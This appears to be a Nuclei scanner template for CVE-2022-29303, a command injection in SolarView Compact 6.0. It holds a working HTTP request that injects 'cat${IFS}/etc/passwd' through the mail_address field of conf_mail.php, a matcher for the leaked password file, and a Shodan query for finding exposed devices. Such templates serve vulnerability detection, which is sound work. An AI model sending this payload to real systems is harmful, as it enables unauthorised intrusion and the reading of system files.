35 lines
938 B
YAML
35 lines
938 B
YAML
id: CVE-2022-29303
|
|
|
|
info:
|
|
name: SolarView Compact 6.0 - OS Command Injection
|
|
author: badboycxcc
|
|
severity: high
|
|
description: |
|
|
SolarView Compact ver.6.00 was discovered to contain a command injection vulnerability via conf_mail.php.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/50940
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303
|
|
- https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing
|
|
metadata:
|
|
shodan-query: http.html:"SolarView Compact"
|
|
verified: "true"
|
|
tags: cve,cve2022,rce,injection
|
|
|
|
variables:
|
|
cmd: "cat${IFS}/etc/passwd"
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /conf_mail.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0"
|